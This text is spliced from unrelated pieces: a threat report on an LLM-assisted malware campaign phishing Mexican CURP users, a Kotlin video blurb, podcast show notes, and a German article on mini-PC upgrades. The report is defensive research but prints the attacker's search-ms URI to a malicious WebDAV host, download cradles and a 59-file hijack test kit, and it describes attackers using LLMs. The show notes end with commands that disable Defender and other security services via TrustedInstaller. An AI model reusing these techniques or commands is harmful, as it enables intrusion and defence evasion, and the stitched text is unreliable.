IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content.

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

⠀

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

Devs, this Kotlin challenge arises from a refactoring bug you might have seen. Here’s the setup: a teammate tidies up some code that builds job configurations. The build succeeds and everything looks fine. Then we check the list, and instead of the config object we expect, it holds something else. Watch the video and share what you think caused the bug!

Subscribe to Google for Developers → https://goo.gle/developers

Speakers: Anaya Mehta

Show Notes

Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Dieser Beitrag GTA 6 ohne Disc: Retail-Box enthält nur Download-Code erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Mini-PCs sind längst mehr als einfache Office-Rechner. Sie stehen auf dem Schreibtisch, hinter dem Monitor, im Wohnzimmer oder im Heimlabor und übernehmen dort Aufgaben, für die früher ein großer Desktop-PC nötig war. Genau deshalb lohnt sich der Blick ins Innere: Wer RAM, SSD, WLAN und Anschlüsse vor dem Kauf richtig einschätzt, kann ein kompaktes System später gezielt erweitern statt vorschnell ersetzen.

Der Spielraum ist allerdings kleiner als bei klassischen Tower-PCs. Kompakte Gehäuse, verlötete Bauteile und enge Kühlsysteme setzen klare Grenzen. Trotzdem können RAM, SSD, WLAN-Modul oder externe Grafiklösung den Unterschied machen – zwischen einem Mini-PC, der nur knapp ausreicht, und einem System, das noch mehrere Jahre sinnvoll nutzbar bleibt.

Was sich überhaupt aufrüsten lässt

Drei Komponenten sind in den meisten Mini-PCs zugänglich: Arbeitsspeicher, SSD und das WLAN-Modul. Eine externe Grafikkarte kommt als vierte Option hinzu, sofern der passende Anschluss vorhanden ist. Prozessor und integrierte Grafik bleiben außen vor. Sie sind fest verlötet. Wer das vorher weiß, spart sich Enttäuschungen.

Wie groß die Unterschiede ausfallen können, zeigt der Sapphire Edge AI 370 als positives Beispiel. Der Mini-PC nutzt austauschbare DDR5-SO-DIMMs statt verlötetem LPDDR-Speicher und unterstützt bis zu 96 GB RAM. Auch die SSDs sind gut erreichbar: Der magnetisch befestigte Deckel lässt sich ohne Werkzeug abnehmen, darunter liegen die wichtigsten Komponenten direkt zugänglich. Für Käufer, die später aufrüsten wollen, ist eine solche Bauweise ein klarer Vorteil.

Arbeitsspeicher: der erste Griff

Der RAM ist die naheliegendste Maßnahme. In vielen Mini-PCs stecken SO-DIMM-Riegel in einem Sockel, wie man sie aus dem Notebook kennt. Oft reichen ein Schraubendreher und wenige Minuten. Je nach Gehäuse können aber zusätzliche Abdeckungen, Clips oder verklebte Füße den Zugriff erschweren.

Aktuelle Geräte nutzen DDR5, ältere DDR4. Die beiden Generationen sind nicht kompatibel, die Kerbe sitzt an anderer Stelle.

Christoph Hoffmann

Zwei Punkte entscheiden über den Erfolg: Erstens die maximale Kapazität, die das Board adressiert. Steht im Datenblatt 64 GB, sollte man ein größeres Kit nicht einplanen. In Einzelfällen kann mehr Speicher funktionieren, garantiert ist das aber nicht. Zweitens der Dual-Channel-Betrieb. Zwei gleiche Riegel liefern mehr Tempo als ein einzelner, was sich gerade bei der integrierten Grafik bemerkbar macht.

Vorsicht bei besonders flachen Modellen: LPDDR5 oder LPDDR5X sitzt meist fest auf der Platine, ein Tausch ist ausgeschlossen. LPCAMM2 könnte das künftig ändern, weil LPDDR-Speicher damit als steckbares Modul ausgeführt wird. In Mini-PCs ist das aber noch nicht der Normalfall. Wer später aufrüsten will, sollte deshalb vor dem Kauf ausdrücklich nach SO-DIMM- oder LPCAMM2-Steckplätzen suchen.

SSD: mehr Platz, mehr Tempo

Die zweite lohnende Maßnahme betrifft die SSD. Hersteller sparen hier gern an zwei Fronten: an Kapazität und an Tempo. 512 GB sind schnell voll. Viele Mini-PCs bieten einen M.2-2280-Steckplatz für eine NVMe-SSD, manche zwei oder drei. Geräte wie der GMKtec K12 bringen drei M.2-Slots mit – Raum genug, um Windows und Daten zu trennen.

Christoph Hoffmann

Achten Sie auf die PCIe-Generation. Neue Modelle unterstützen teils PCIe 5.0, die meisten PCIe 4.0. Eine schnellere SSD läuft auch in einem langsameren Slot, dann eben gedrosselt. Ein zweiter Steckplatz lässt sich für ein reines Datenlaufwerk nutzen, ohne das System anzutasten. Wer nur ein kleindimensioniertes Laufwerk vorfindet, sichert seine Daten, klont die alte SSD vor dem Tausch oder setzt Windows neu auf.

Wichtig ist außerdem die Bauhöhe. In manchen Mini-PCs bleibt wenig Platz für SSDs mit hohem Kühlkörper. Oft passt nur ein dünnes Wärmeleitpad, nicht aber ein hoher SSD-Kühlkörper. Eine sehr schnelle PCIe-5.0-SSD bringt wenig, wenn sie im engen Gehäuse wegen Hitze schnell drosselt.

Praxis-Tipp: Vorsicht bei WLAN-Antennen

Beim Öffnen mancher Mini-PCs ist Vorsicht geboten. Innenliegende Metallabdeckungen führen die WLAN-Antennenkabel teils sehr knapp an der WLAN-Karte vorbei. Wer RAM oder SSD tauscht, kann beim Abheben der Abdeckung versehentlich das schwarze und graue Antennenkabel lösen. Danach funktionieren WLAN und Bluetooth nicht mehr zuverlässig oder gar nicht. In unserem Test des Geekom A9 Max zeigte sich genau dieses Risiko.

Christoph Hoffmann

Ziehen Sie Abdeckungen deshalb nie ruckartig ab. Prüfen Sie zuerst, ob Antennenkabel mit Klebestreifen fixiert sind, und lösen Sie diese vorsichtig. Falls die Kabel bereits abgezogen sind, müssen sie wieder auf die WLAN-Karte gesteckt werden: Schwarz gehört meist auf „Main“, Grau auf „AUX“. Oft sitzt die WLAN-Karte unter der M.2-SSD, sodass die SSD vorübergehend ausgebaut werden muss.

WLAN-Modul: der Sprung auf Wi-Fi 7

Das WLAN-Modul ist das unscheinbare Upgrade. In vielen Mini-PCs sitzt es als kleine M.2-2230-Karte unter einer Abdeckung und lässt sich gegen ein neueres Modell tauschen. Vor dem Kauf sollten Sie aber prüfen, ob Antennenanschlüsse, Bauform, Anbindung und Treiber passen.

Der Wechsel von Wi-Fi 5 oder Wi-Fi 6 auf Wi-Fi 7 bringt mehr Durchsatz und Bluetooth in aktueller Version. Spürbar wird der Nutzen aber nur, wenn auch der Router mitspielt. Für Geräte am Netzwerkkabel lohnt der Tausch kaum.

Externe Grafikkarte: OCuLink hat Leistungsvorteile

Den deutlichsten Sprung bringt eine externe Grafikkarte. Mini-PCs setzen auf integrierte Grafik, die für Office und Filme genügt, beim Spielen aber an Grenzen stößt. Eine eGPU schließt die Lücke. Sie steckt in einem Gehäuse mit eigenem Netzteil und verbindet sich per Kabel mit dem Rechner.

Der Anschluss entscheidet über das Ergebnis. OCuLink führt die PCIe-Leitungen direkt nach außen und verliert deshalb nur wenig Leistung. Bei PCIe 4.0 x4 stehen 64 Gbit/s zur Verfügung. Je nach Grafikkarte, Spiel, Auflösung und Dock liegt der Leistungsverlust oft grob bei 3 bis 7 Prozent.

Mark Hachman / Foundry

USB4 und Thunderbolt sind flexibler, bremsen eine externe Grafikkarte aber meist stärker aus. Thunderbolt 5 und USB4 v2 bieten deutlich mehr Bandbreite als Thunderbolt 4 oder klassisches USB4, trotzdem hängt der Leistungsverlust stark von Dock, Grafikkarte, Spiel und Auflösung ab.

